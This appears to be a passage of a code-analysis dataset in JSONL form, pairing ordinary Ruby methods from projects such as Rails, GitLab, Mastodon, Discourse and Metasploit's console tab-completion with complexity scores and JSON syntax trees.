{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/module_option_tab_completion.rb","start_line":36,"raw_source":"def tab_complete_module_datastore_names(mod, str, words)\n          datastore = mod ? mod.datastore : framework.datastore\n          keys = tab_complete_datastore_names(datastore, str, words)\n\n          if mod\n            keys = keys.delete_if do |name|\n              !(mod_opt = mod.options[name]).nil? && !Msf::OptCondition.show_option(mod, mod_opt)\n            end\n          end\n          keys\n        end","complexity_score":23.9,"ast_json":"{\"type\":\"def\",\"children\":[\"tab_complete_module_datastore_names\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]},{\"type\":\"arg\",\"children\":[\"str\"]},{\"type\":\"arg\",\"children\":[\"words\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"datastore\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"datastore\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"datastore\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"send\",\"children\":[null,\"tab_complete_datastore_names\",{\"type\":\"lvar\",\"children\":[\"datastore\"]},{\"type\":\"lvar\",\"children\":[\"str\"]},{\"type\":\"lvar\",\"children\":[\"words\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mod_opt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"options\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptCondition\"]},\"show_option\",{\"type\":\"lvar\",\"children\":[\"mod\"]},{\"type\":\"lvar\",\"children\":[\"mod_opt\"]}]},\"!\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"keys\"]}]}]}","id":"e7bdaa59-2536-40fb-8912-52b91b849de3"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/dialects/command.rb","start_line":82,"raw_source":"def calculate_message_token(context)\n          llm_model.tokenizer_class.size(context[:content].to_s + context[:name].to_s)\n        end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_message_token\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"llm_model\"]},\"tokenizer_class\"]},\"size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"content\"]}]},\"to_s\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"to_s\"]}]}]}]}","id":"d1dd82d9-992f-4aba-a2f0-bbdd2c4e89bf"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/live_stream_test.rb","start_line":140,"raw_source":"def write_lines\n        response.stream.writeln \"hello\\n\"\n        response.stream.writeln \"world\"\n        response.stream.close\n      end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"write_lines\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"stream\"]},\"writeln\",{\"type\":\"str\",\"children\":[\"hello\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"stream\"]},\"writeln\",{\"type\":\"str\",\"children\":[\"world\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"stream\"]},\"close\"]}]}]}","id":"f14300c6-3076-4abe-9214-748854508ae2"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/oracle_db/client.rb","start_line":7,"raw_source":"def check_connection(connection_config)\n        connection_config = connection_config.with_indifferent_access\n        create_connection(connection_config)\n        ConnectionStatus.new(\n          status: ConnectionStatusType[\"succeeded\"]\n        ).to_multiwoven_message\n      rescue StandardError => e\n        ConnectionStatus.new(\n          status: ConnectionStatusType[\"failed\"], message: e.message\n        ).to_multiwoven_message\n      end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection_config\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection_config\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"with_indifferent_access\"]}]},{\"type\":\"send\",\"children\":[null,\"create_connection\",{\"type\":\"lvar\",\"children\":[\"connection_config\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConnectionStatus\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConnectionStatusType\"]},\"[]\",{\"type\":\"str\",\"children\":[\"succeeded\"]}]}]}]}]},\"to_multiwoven_message\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConnectionStatus\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConnectionStatusType\"]},\"[]\",{\"type\":\"str\",\"children\":[\"failed\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},\"to_multiwoven_message\"]}]},null]}]}","id":"b4590a4c-02f7-4269-b559-773d038b4fd0"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/invites_controller.rb","start_line":17,"raw_source":"def create\n    authorize :invite, :create?\n\n    @invite      = Invite.new(resource_params)\n    @invite.user = current_user\n\n    if @invite.save\n      redirect_to invites_path\n    else\n      @invites = invites\n      render :index\n    end\n  end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"sym\",\"children\":[\"invite\"]},{\"type\":\"sym\",\"children\":[\"create?\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@invite\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Invite\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"resource_params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@invite\"]},\"user=\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@invite\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"invites_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@invites\",{\"type\":\"send\",\"children\":[null,\"invites\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"index\"]}]}]}]}]}]}","id":"53d1ee02-1b67-43a2-b10f-f0b63133485b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250306000000_increase_duo_workflow_events_message_limit.rb","start_line":8,"raw_source":"def up\n    add_text_limit :duo_workflows_events, :message, 4096,\n      constraint_name: check_constraint_name(:duo_workflows_events, :message, 'max_length_4K')\n    remove_text_limit :duo_workflows_events, :message,\n      constraint_name: check_constraint_name(:duo_workflows_events, :message, 'max_length')\n  end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"sym\",\"children\":[\"duo_workflows_events\"]},{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"int\",\"children\":[4096]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"constraint_name\"]},{\"type\":\"send\",\"children\":[null,\"check_constraint_name\",{\"type\":\"sym\",\"children\":[\"duo_workflows_events\"]},{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"max_length_4K\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_text_limit\",{\"type\":\"sym\",\"children\":[\"duo_workflows_events\"]},{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"constraint_name\"]},{\"type\":\"send\",\"children\":[null,\"check_constraint_name\",{\"type\":\"sym\",\"children\":[\"duo_workflows_events\"]},{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"max_length\"]}]}]}]}]}]}]}","id":"8883ab81-3c7a-49cf-8339-1a46475dbc75"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/widget/integrations/dyte_controller.rb","start_line":33,"raw_source":"def permitted_params\n    params.permit(:website_token, :message_id)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"website_token\"]},{\"type\":\"sym\",\"children\":[\"message_id\"]}]}]}","id":"e9a6736b-8b92-42fe-b282-75e6c443dccc"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/statuses_controller.rb","start_line":76,"raw_source":"def action_from_button\n      if params[:report]\n        'report'\n      elsif params[:remove_from_report]\n        'remove_from_report'\n      elsif params[:delete]\n        'delete'\n      end\n    end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"action_from_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"report\"]}]},{\"type\":\"str\",\"children\":[\"report\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"remove_from_report\"]}]},{\"type\":\"str\",\"children\":[\"remove_from_report\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"delete\"]}]},{\"type\":\"str\",\"children\":[\"delete\"]},null]}]}]}]}","id":"d11c0f60-1129-46fb-bcad-2ca7d3c586c8"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal/helpers.rb","start_line":119,"raw_source":"def all_application_helpers\n          all_helpers_from_path(helpers_path)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"all_application_helpers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"all_helpers_from_path\",{\"type\":\"send\",\"children\":[null,\"helpers_path\"]}]}]}","id":"282e99b8-9381-4821-b6d8-55ac03c60c88"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topics_bulk_action.rb","start_line":49,"raw_source":"def find_group\n    return unless @options[:group]\n\n    group = Group.where(\"name ilike ?\", @options[:group]).first\n    raise Discourse::InvalidParameters.new(:group) unless group\n    unless group.group_users.where(user_id: @user.id).exists?\n      raise Discourse::InvalidParameters.new(:group)\n    end\n    group\n  end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"find_group\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"where\",{\"type\":\"str\",\"children\":[\"name ilike ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group\"]}]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"group\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"group_users\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]}]}]},\"exists?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"group\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}","id":"fa12492c-959d-43f6-a16c-b97c963d46ed"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/npm/generate_metadata_service.rb","start_line":142,"raw_source":"def inverted_dependency_types\n        Packages::DependencyLink.dependency_types.invert.stringify_keys\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"inverted_dependency_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packages\"]},\"DependencyLink\"]},\"dependency_types\"]},\"invert\"]},\"stringify_keys\"]}]}","id":"fb041ae6-fd4a-4c83-9d41-8fc6a2e58cc7"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/time_with_zone.rb","start_line":545,"raw_source":"def respond_to_missing?(sym, include_priv)\n      time.respond_to?(sym, include_priv)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to_missing?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sym\"]},{\"type\":\"arg\",\"children\":[\"include_priv\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"time\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"sym\"]},{\"type\":\"lvar\",\"children\":[\"include_priv\"]}]}]}","id":"b1db4b80-af96-4b01-88c1-861992d41f1c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/cache/request_cache_spec.rb","start_line":16,"raw_source":"def initialize(id, name, result, extra = nil)\n        self.id = id\n        self.name = name\n        self.result = result\n        self.extra = nil\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"result\"]},{\"type\":\"optarg\",\"children\":[\"extra\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id=\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name=\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"result=\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"extra=\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"6d5c4b1a-5911-4fda-86b5-b0339e9506f0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/language_detection.rb","start_line":12,"raw_source":"def languages\n      detection.keys\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"languages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"detection\"]},\"keys\"]}]}","id":"6d767ccf-2ced-4b52-8546-c240e31bb44f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/packages/group_packages_finder.rb","start_line":78,"raw_source":"def groups\n      return [group] if exclude_subgroups?\n\n      group.self_and_descendants\n    end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"groups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exclude_subgroups?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"self_and_descendants\"]}]}]}","id":"fcf8c3c9-cf46-44a6-8e7d-3fda5015d041"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/lib/mastodon/cli/ip_blocks_spec.rb","start_line":40,"raw_source":"def expected_ip_addresses\n        ip_list.map { |ip| IPAddr.new(ip) }\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"expected_ip_addresses\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ip_list\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IPAddr\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]}]}","id":"e150aca2-1716-4c05-a42f-fd89a6bb6e0d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/browser_ui/2_plan/email/trigger_email_notification_spec.rb","start_line":56,"raw_source":"def mailhog_project_message_count(subjects)\n        subjects.count { |subject| subject.include?('project was granted') }\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"mailhog_project_message_count\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subjects\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subjects\"]},\"count\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subject\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject\"]},\"include?\",{\"type\":\"str\",\"children\":[\"project was granted\"]}]}]}]}","id":"bc0bbf69-044c-40aa-b455-d5676f289264"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/themes_controller.rb","start_line":19,"raw_source":"def upload_asset\n    ban_in_allowlist_mode!\n\n    path = params[:file].path\n\n    hijack do\n      File.open(path) do |file|\n        filename = params[:file]&.original_filename || File.basename(path)\n        upload = UploadCreator.new(file, filename, for_theme: true).create_for(theme_user.id)\n        if upload.errors.count > 0\n          render_json_error upload\n        else\n          render json: { upload_id: upload.id }, status: :created\n        end\n      end\n    end\n  end","complexity_score":36.3,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_asset\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ban_in_allowlist_mode!\"]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file\"]}]},\"path\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hijack\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file\"]}]},\"original_filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"upload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UploadCreator\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"for_theme\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"create_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"theme_user\"]},\"id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"errors\"]},\"count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"lvar\",\"children\":[\"upload\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"upload_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"created\"]}]}]}]}]}]}]}]}]}]}","id":"ed49a0f9-2cee-4e9d-af53-227a7b32999a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/seeders/ci/runner/runner_fleet_seeder.rb","start_line":215,"raw_source":"def register_record(record, records)\n            return record if record.errors.any?\n\n            records[record.id] = record\n          end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"register_record\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"records\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"any?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]}","id":"9460f9dd-f870-4960-9207-e97116fe5d82"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/wysiwyg/wysiwyg_editor.rb","start_line":21,"raw_source":"def editor_element\n      page.find(\"#{context_selector} #{input_selector}\", wait: 10)\n    end","complexity_score":4.9,"ast_json":"{\"type\":\"def\",\"children\":[\"editor_element\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context_selector\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"input_selector\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}","id":"73b0523e-e53a-4bc8-8054-6cc6e532fe9f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/pipeline_triggers/create_service.rb","start_line":17,"raw_source":"def execute\n        unless can?(current_user, :manage_trigger, project)\n          return ServiceResponse.error(\n            message: _('The current user is not authorized to create a pipeline trigger token'),\n            payload: { trigger: nil },\n            reason: :forbidden\n          )\n        end\n\n        trigger = project.triggers.create(**create_params)\n\n        if trigger.present? && trigger.persisted?\n          ServiceResponse.success(payload: { trigger: trigger })\n        elsif trigger.present? && trigger.errors.any?\n          ServiceResponse.error(\n            message: trigger.errors.to_json,\n            payload: { trigger: trigger },\n            reason: :validation_error\n          )\n        else\n          raise \"Unexpected Ci::Trigger creation failure. Description: #{@description}\"\n        end\n      end","complexity_score":29.3,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"manage_trigger\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"The current user is not authorized to create a pipeline trigger token\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trigger\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"sym\",\"children\":[\"forbidden\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"trigger\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"triggers\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_params\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trigger\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trigger\"]},\"persisted?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trigger\"]},{\"type\":\"lvar\",\"children\":[\"trigger\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trigger\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trigger\"]},